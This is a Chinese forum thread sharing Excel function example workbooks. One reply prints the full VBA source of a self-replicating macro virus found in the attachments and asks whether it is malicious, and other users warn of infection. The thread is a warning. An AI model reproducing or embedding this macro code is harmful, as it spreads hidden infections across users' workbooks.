Excel常用函数妙用（各行业精典案例）

joyark

1.MONTH()和DATE()等日期函数生成日历.xls
2.SUM()函数创建数组公式计算销售额.xls
3.SUM()函数完成多条件求和.xls
4.SUM()和WEEKDAY()函数计算一年中的星期数.xls
5.VLOOKUP()和IF()函数计算销售提成.xls
6.HLOOKUP()函数引用产品价格.xls
7.IF()和HOUR()函数制作考勤统计表.xls
8.IF()和INDEX()函数分类汇总数据.xls
9.IF()和TIME()等函数计算停车费.xls
10.INDEX()和MATCH()函数查找电话号码.xls
11.LEN()和LEFT()函数创建工资票面分解表.xls
12.LOOKUP()函数查找税率.xls
13,LOOKUP()函数统计学生成绩.xls
14,REPLACE()函数完成电话号码升位.xls
15,REPT()函数创建销售业绩评比表格.xls
16,SUMPRODUCT()函数计算销售业绩及奖金.xls
17,TODAY()和DATE()函数计算年龄和工龄.xls
18,VLOOKUP()函数完成样本基础资料统计表.xls
19,WEEKDAY()和DATE()函数计算节假日.xls
20,根据身份证号提取性别和出生年月.xls
21,用条件函数制作的下拉二级菜单.xls
重新上傳文件
以清除诵病毒


该贴已经同步到 joyark的微博

菲鱼

楼主辛苦了，半夜还在发贴。这种精神值的我们学习。向你致敬

nuation

下载学习，谢谢分享。

www9009

谢谢整理，下载分享！

李甲

最近在多人的附件中都看到此段代码，请代码高手看看是不是恶意宏代码。因为是AUTO OPEN，不地道，像是在任意文件隐藏了该工作表。

Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub
Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    Select Case whichfile
    Case 10
        Application.ScreenUpdating = False
        n4$ = ActiveWorkbook.Name
        Sheets("results").Visible = True
        Sheets("results").Select
        Sheets("results").Copy
        With ActiveWorkbook
            .Title = ""
            .Subject = ""
            .Author = ""
            .Keywords = ""
            .Comments = ""
        End With
        newname$ = ActiveWorkbook.Name
        c4$ = CurDir()
        ChDir Application.StartupPath
        ActiveWindow.Visible = False
        Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
                                 , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
                                                                                            False, CreateBackup:=False
        ChDir c4$
        Workbooks(n4$).Sheets("results").Visible = False
        Application.OnSheetActivate = ""
        Application.ScreenUpdating = True
        Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
        Application.ScreenUpdating = False
        n4$ = ActiveWorkbook.Name
        p4$ = ActiveWorkbook.Path
        s$ = Workbooks(n4$).Sheets(1).Name
        If s$ <> "results" Then
            Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
            Workbooks(n4$).Sheets("results").Visible = False
        Else
        End If
        Application.OnSheetActivate = ""
        Application.ScreenUpdating = True
        Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
    End Select
End Sub

jiangwh15

有病毒啊！？

camelpeak

下载不了，好像有病毒

mmyahai

学习下…………

kyz0503

学习了!........

LEONXLB

有病毒，大家注意